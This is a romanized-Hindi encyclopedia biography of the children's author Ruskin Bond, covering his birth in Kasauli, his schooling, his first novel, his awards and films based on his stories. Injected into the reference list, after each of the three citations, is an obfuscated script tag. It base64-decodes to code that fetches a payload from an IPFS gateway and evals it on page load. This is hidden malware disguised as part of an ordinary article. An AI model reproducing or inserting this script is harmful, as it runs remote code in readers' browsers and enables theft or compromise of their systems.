रस्किन बॉण्ड
raskin b aaund
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| poora nam | raskin b aaund |
| janm | 19 mee, 1934 |
| janm bhoomi | kasauli, himachal pradesh |
| karm bhoomi | bharat |
| karm-kshetr | bal sahity |
| mukhy rachanaean | 'room aaun d rooph', 'raskin baand d masoori iyars', 'suzain seven hasabaiand' adi. |
| bhasha | aangrezi, hindi |
| puraskar-upadhi | 'sahity akadami puraskar' (1992), 'padm shri' (1999), 'padm bhooshan' (2014). |
| prasiddhi | bal sahityakar, upanyasakar, kahanikar |
| nagarikata | bharatiy |
| any janakari | film nirdeshak/nirmata vishal bharadvaj ne raskin b aaund ki rachana 'suzain seven hasabaiand' par 'sat khoon maf' jaisi romaantik-thrilar ke sath bal-katha 'd bloo aanbrela' nam banaee thi. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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raskin b aaund (aangrezi: Ruskin Bond, janm- 19 mee, 1934, kasauli, himachal pradesh) aangrezi bhasha ke prasiddh bharatiy lekhakoan mean se ek haian. unaki prasiddhi vishesh roop se bal sahity ki rachana ko lekar hai. bharat mean sabase zyada padhe jane vale bal sahityakar raskin b aaund mool roop se britani mool ke haian, par azadi ke bad unhoanne bharat mean hi rahane ka faisala kiya tha. unaki kahaniyoan mean bachchoan ke sapane, unaki ichchhaoan ka zikr to hota hi hai, bachchoan ke sangharsh ki kahaniyaan bhi hoti haian. unake charitr ‘rasti’ aur ‘aankal ken’ aj ke bal sahity ke sabase mashahoor charitr mane jate haian. varsh 1999 mean bal sahity mean yogadan ke liye ve 'padm shri' se sammanit kiye gaye the.
parichay
raskin b aaund ka janm 19 mee, 1934 ko himachal pradesh ke kasauli mean hua tha. unake pita r aauyal eyar phors mean the. jab vah char sal ke the, tab unake mata-pita mean talak ho gaya tha, jisake bad unaki maan ne ek hindoo se vivah kar liya. raskin b aaund ka bachapan jamanagar, shimala mean bita. san 1944 mean pita ki achanak mrityu ke bad ve deharadoon mean apani dadi ke sath rahane lage. us samay unaki umr takariban das sal thi.
shiksha tatha lekhan kary
raskin b aaund ne apani padhaee shimala ke bishap k aautan skool se poori ki. isake bad ve landan chale gaye. bachapan se hi likhane ka shauk hone ki vajah se ve k aaulej tak ate-ate ek manjhe hue lekhak ban ge. tab unhoanne kee puraskar bhi jite the. unhoanne 17 sal ki umr mean pahala upanyas ‘room aaun d rooph’ (Room On The Roof) likha. isake liye unhean 1957 mean 'j aaun livelinh rais puraskar' se sammanit kiya gaya. yah puraskar 30 sal se kam umr ke k aaumanavelth nagarik ko ianglaiand mean prakashit aangrezi lekhan ke liye diya jata hai.[1] ravindranath taigor, rudayard kipaliang aur charls dikens ko behad pasand karane vale raskin b aaund ne ab tak 500 se jyada kahaniyaan, upanyas, sansmaran aur kavitaean likhi haian, jinamean se adhikatar bachchoan ke lie haian aur jo aj bhi kafi padhe jate haian.
pustak 'The Best of Ruskin Bond' mean raskin b aaund ki laghu kahaniyaan, vibhats kahaniyaan, nibandh, yatra varnan, git aur prem kavitayean haian. yatra varnan mean unaka ek lekh mathura ke bare mean 'Mathura's Hallowed Haunts' shirshak se hai. isamean ve likhate haian[2]-
It has been said that, "if a man spend in Benaras all his lifetime, he has earned less merit than if he passes but a single day in the sacred city of Mathura."
"kaha jata hai ki banaras mean poora jivan bitane par bhi, mathura mean ek din vyatit karane se kam puny milata hai."
'raskin baand d masoori iyars'
hal hi mean raskin b aaund par adharit anokhi pustak bazar mean aee hai, jisamean unaki kuchh aisi anasin tasvirean haian. 'raskin baand d masoori iyars' nam ki is pustak mean unake bachapan se b de hone tak ki kahani haian. raskin b aaund par likhi gee ye kitab bahut hi khas hai, kyoanki isamean unake jivan ki likhit kahani kam aur tasvirean jyada haian. is kitab ko agar piktoriyal bayographi kaha jae to shayad galat nahian hoga. is pustak ki shurooat unake janm se shuroo hoti hai, jisamean is lijeandri main ke navajat shishu hone se lekar bachapan mean apane dostoan ke sath khelane ki tasvire maujood haian. bat chahe dilli ki ho, jamashedapur ki ya phir unake hom taun masoori ki, in sabhi shaharoan mean bitae ge unake lamhoan ki tasvirean is kitab mean maujood haian.
ye pustak bhale hi piktoriyal adharit hai, lekin isaki kahani sirph kaipshan tak hi simit nahian hai. pustak mean har photo ka jahaan photo kaipshan diya gaya hai, vahian doosari or us tasvir ke pichhe chhipi raskin b aaund ke jivan ki chhoti se chhoti kahaniyaan bhi maujood haian. jaise ki kayauli mean unake janm ki kahani, doosare vishv yuddh ke daur dilli mean unaki padhaee. isake alava unake ghar parivar, unake ajij dostoan ke chehare jo aksar ab tak unake niji dayare mean dekhe ge haian. ye mani huee bat hai ki raskin b aaund sabase jyada masoori ke paha doan aur "vaili aauph doon" se bahut prabhavit rahe haian. shayad yahi vajah rahi hai ki unake lekhan mean kee bar n hi sirph in jagahoan ka jikr hua hai, balki unaki kee rachanaoan ke lie vah khud in jagahoan ko preranashrot manate haian. yahian chij is kitab mean bhi paeange. jahaan raskin b aaund ke nataraj buk sh aaup, rajapur jaise kee kshetr ki tasvirean dekhi gee hai. isake sath hi doon mean unake bitaean ge paloan ki kee mithi yadoan ki photo bhi isamean maujood hai. pustak mean raskin b aaund ke masoori ki sabase jyada tasvirean dekhane ko mileangi.[3]
puraskar v samman
- raskin b aaund ko sahity akadami ke dvara 1992 mean aangrezi lekhan ke liye unaki laghu kahaniyoan ke sankalan 'Our Trees Still Grow in Dehra' par 'sahity akadami puraskar' bhi mil chuka hai.
- 1999 mean bal sahity mean yogadan ke liye ve 'padm shri' se sammanit kiye gaye.
- 2014 mean unhean padm bhooshan se sammanit kiya gaya.
film nirman
raskin b aaund ki kee kahaniyoan par falmean ban chuki haian. shashi kapoor ki film 'janoon' 1857 ki svatantrata ki l daee ki ghatana par hai. yah unaki kahani 'A Flight of Pigeons' (kabootaroan ki u dan) par adharit hai. film 'The Blue Umbrella' bhi unaki isi nam ki kahani par bani hai. priyanka chop da ke dvara abhinit ki gayi film 'sat khoon maph', unaki laghu katha 'Susanna's Seven Husbands' par banayi gayi hai.[2]
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tika tippani aur sandarbh
- ↑ bachchoan ke lie rochak kahani rachane vale adhunik dadaji (hiandi) days.jagranjunction.com. abhigaman tithi: 14 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 raskin b aaund - mathura mean ek din, poore banarasi jivan par bhari - mathura yatra (hiandi) unmukt-hindi.blogspot.in. abhigaman tithi: 14 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jinhoanne raskin b aaund nahian dekha (hiandi) inextlive.jagran.com. abhigaman tithi: 14 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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